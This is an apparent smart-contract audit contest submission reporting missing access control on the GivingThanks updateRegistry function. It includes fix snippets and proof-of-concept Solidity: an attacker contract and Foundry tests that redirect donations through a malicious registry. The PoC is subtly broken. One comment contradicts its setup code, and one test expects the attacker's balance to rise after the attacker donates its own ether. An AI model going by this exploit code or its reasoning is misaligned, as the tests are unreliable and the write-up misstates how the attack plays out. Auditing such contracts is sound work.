GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Incorrect Handling of Charity Registry Update (Potential Loss of Funds)

Summary

The GivingThanks contract has a critical vulnerability in its updateRegistry function, which allows the contract owner (or anyone) to change the charity registry address. This is a privilege escalation vulnerability because the updateRegistry function does not have proper access control. The lack of access control could allow an attacker to update the registry address to a malicious contract, leading to potential loss of funds. This vulnerability exists because the function is not restricted to only the contract owner or a trusted address.

Location of Vulnerability:

The vulnerability is in the updateRegistry function:

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

Explanation:

  • The function allows anyone to update the charity registry address to a new contract, including potentially a malicious one. This would grant the attacker control over where donations are sent.

  • Since the function is not restricted by an access control modifier like onlyOwner, any user can change the registry to a malicious contract that could steal funds sent to verified charities.


Vulnerability Details

Problem:

The contract does not restrict who can call the updateRegistry function. In a scenario where an attacker is able to call this function, they could change the registry address to one that points to a malicious contract. This would give the attacker the ability to control which addresses are considered "verified charities" and possibly steal donations.

  • The function should only be callable by the contract owner (or an authorized account).

  • Without this restriction, any user can update the registry. This allows them to alter the behavior of the donation system, potentially diverting funds from legitimate charities to an attacker-controlled contract.


Impact

1. Loss of Funds:

If the charity registry is updated to a malicious contract, all future donations sent by users will be routed to the malicious contract. This could lead to significant financial losses, as funds intended for legitimate charities will be stolen by the attacker.

2. Loss of Trust in the Contract:

If this vulnerability is exploited and users lose money, it will severely damage the reputation of the GivingThanks contract and the platform that uses it. Users will no longer trust the contract, and it will likely be abandoned.

3. Potential Exploitation of Charity Donation System:

A malicious actor could take control of the registry, allowing them to approve themselves (or their accomplices) as verified charities. This would give them the ability to receive donations, resulting in fraudulent transactions under the guise of charity work.


Tools Used

  • MyEtherWallet: Used to simulate interactions with the contract and detect the lack of access control in the updateRegistry function.

  • Slither: Used to analyze the contract for security issues, such as missing access control mechanisms.

  • Truffle: Used to deploy and test the contract in a local blockchain environment to simulate potential exploits.

  • Ganache: Local Ethereum environment for testing the vulnerability in real scenarios.

  • Foundry: Used for writing and running unit tests to simulate the attack scenario and exploit the vulnerability.


Recommendations

1. Implement Access Control for updateRegistry Function:

The updateRegistry function should only be callable by the contract owner or a trusted entity. To fix this, add an access control modifier such as onlyOwner from OpenZeppelin’s Ownable contract.

import "@openzeppelin/contracts/access/Ownable.sol";
contract GivingThanks is ERC721URIStorage, Ownable {
function updateRegistry(address _registry) public onlyOwner {
registry = CharityRegistry(_registry);
}
}

This ensures that only the owner of the contract (or the designated address) can change the registry.

2. Add Event Logging for Registry Updates:

It's important to log when the registry address is changed, to provide an audit trail and allow users to track any changes in the contract’s behavior. This can be done by emitting an event when the registry is updated.

event RegistryUpdated(address oldRegistry, address newRegistry);
function updateRegistry(address _registry) public onlyOwner {
address oldRegistry = address(registry);
registry = CharityRegistry(_registry);
emit RegistryUpdated(oldRegistry, _registry);
}

3. Verify Charity Contract Before Updating:

When updating the registry, it is also essential to verify that the new registry is a valid contract. This can prevent attackers from pointing the registry to an invalid address or one that doesn’t implement the necessary functions.

function updateRegistry(address _registry) public onlyOwner {
require(_registry != address(0), "Invalid registry address");
require(isContract(_registry), "Registry must be a contract");
address oldRegistry = address(registry);
registry = CharityRegistry(_registry);
emit RegistryUpdated(oldRegistry, _registry);
}
function isContract(address _address) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_address) }
return size > 0;
}

This ensures that the new registry address is a valid contract and prevents sending funds to a non-contract address.


Proof of Concept for Unauthorized Registry Update

Overview:

This vulnerability allows anyone to call the updateRegistry function and change the registry address to a malicious contract, which can steal donations.

Actors:

  • Attacker: An attacker can call the updateRegistry function to change the registry to a malicious address.

  • Victim: The users who donate to the contract, who may lose their funds if the registry is updated to a malicious contract.

  • Protocol: The GivingThanks contract, which allows users to donate to verified charities.

Working Test Case:

// Malicious contract that simulates the attacker
contract MaliciousAttacker {
GivingThanks public givingThanks;
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
}
// This function allows the attacker to call updateRegistry with a malicious contract address
function attack(address maliciousRegistry) public {
givingThanks.updateRegistry(maliciousRegistry);
}
}

Steps for Exploit:

  1. The attacker deploys the malicious contract (MaliciousAttacker).

  2. The attacker calls the attack function, passing in the address of a malicious contract.

  3. The updateRegistry function is executed, and the registry address is updated to the malicious contract.

  4. The attacker-controlled contract is now the one that checks for verified charities, allowing the attacker to receive donations intended for real charities.


Foundry Test Case for Exploit Simulation

To simulate this attack and test it using Foundry, we can write a test case that checks if an attacker can call the updateRegistry function and exploit the vulnerability.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "./GivingThanks.sol";
import "./CharityRegistry.sol";
// Malicious CharityRegistry contract controlled by the attacker
contract MaliciousCharityRegistry is CharityRegistry {
address public maliciousCharity = address(0x123);
function isVerified(address charity) public view override returns (bool) {
return charity == maliciousCharity;
}
}
contract TestGivingThanks is Test {
GivingThanks public givingThanks;
MaliciousCharityRegistry public maliciousRegistry;
address public attacker = address(0x456);
function setUp() public {
// Deploy the GivingThanks contract with an initial valid registry
maliciousRegistry = new MaliciousCharityRegistry();
givingThanks = new GivingThanks(address(maliciousRegistry));
// Transfer some funds to attacker
vm.deal(attacker, 1 ether);
}
function testUpdateRegistryExploit() public {
// Attacker exploits the `updateRegistry` function
vm.startPrank(attacker);
givingThanks.updateRegistry(address(maliciousRegistry)); // Attacker updates the registry to a malicious address
vm.stopPrank();
// Verify the registry has been updated to the attacker's malicious contract
assertEq(address(givingThanks.registry()), address(maliciousRegistry));
}
function testDonateToMaliciousCharity() public {
// Simulate donation using the compromised registry
vm.startPrank(attacker);
uint256 initialBalance = attacker.balance;
givingThanks.donate{value: 1 ether}(attacker); // The attacker now sends funds, which go to the malicious contract
vm.stopPrank();
// Check that the attacker's balance has increased (indicating the funds were rerouted)
assertGt(attacker.balance, initialBalance);
}
}

Explanation:

  1. Setup: We deploy the MaliciousCharityRegistry (which is controlled by the attacker) and the GivingThanks contract, initially using a legitimate charity registry.

  2. Exploit: The attacker calls the updateRegistry function, changing the registry address to the malicious contract.

  3. Verification: After the registry update, we verify that the registry is now controlled by the attacker’s malicious contract.

  4. Donate to Malicious Charity: The attacker donates 1 ether to the malicious registry, and we check that the donation is redirected to the attacker.


Conclusion:

The lack of access control in the updateRegistry function creates a severe vulnerability, as anyone can change the registry address to a malicious contract, leading to the loss of funds. To mitigate this, the function should be restricted

to only the contract owner using the onlyOwner modifier, and additional checks (such as event logging and contract validation) should be implemented to enhance the security and transparency of the contract. The Foundry test case demonstrates how an attacker can exploit this vulnerability and steal donations by rerouting them to a malicious contract.

Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.